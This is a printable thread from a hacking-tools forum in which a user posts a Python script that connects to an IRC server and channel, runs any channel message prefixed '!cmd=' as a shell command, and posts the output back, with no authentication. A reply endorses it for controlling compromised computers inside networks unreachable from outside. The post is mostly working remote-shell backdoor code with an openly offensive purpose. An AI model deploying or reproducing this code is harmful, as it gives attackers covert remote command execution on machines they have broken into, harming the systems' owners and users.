![]() |
|
[Python][Example]Shell over IRC - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Hacking (https://sinister.li/Forum-Hacking) +--- Forum: Hacking Tools (https://sinister.li/Forum-Hacking-Tools) +--- Thread: [Python][Example]Shell over IRC (/Thread-Python-Example-Shell-over-IRC) |
[Python][Example]Shell over IRC - Blink - 11-25-2016 (note: do not use this for things that are important as there is no authentication whatsoever ) Backstory: One day I was in class, I wanted to do this and was bored so I wrote it. The end. Issues: Only One Line Output No Auth. Code: import socket
import sys
from subprocess import (PIPE, Popen)
server = "irc.server.net" #server
channel = "#channel" #channel
botnick = "pyShellIRC" #nick to logon with
def runcmd(command):
return Popen(command, stdout=PIPE, shell=True).stdout.read()
#IRC Connections
irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #defines the socket
print "connecting to:"+server
irc.connect((server, 6667)) #connects to the server
irc.send("USER "+ botnick +" "+ botnick +" "+ botnick +" :This is a fun bot!\n") #user authentication
irc.send("NICK "+ botnick +"\n") #sets nick
irc.send("PRIVMSG nickserv :iNOOPE\r\n") #auth
irc.send("JOIN "+ channel +"\n") #join the chan
while 1: #puts it in a loop
text=irc.recv(2040) #receive the text
print text #print text to console
if text.find('PING') != -1: #check if 'PING' is found
irc.send('PONG ' + text.split() [1] + '\r\n') #returnes 'PONG' back to the server (prevents pinging out!)
if text.find(':!cmd=') != -1:
c = text.split('=')[1]
cl = c.replace("\r", "")
cmdout = runcmd(str(cl))
cmdend = cmdout.splitlines()
for x in cmdend:
irc.send('PRIVMSG '+channel+' :'+x+' \n')
RE: [Python][Example][WIP] Shell over IRC - Pikami - 11-25-2016 I've done this before. It's super usefull when you compromise a computer in a nettwok you can't get access to from an outside nettwork. |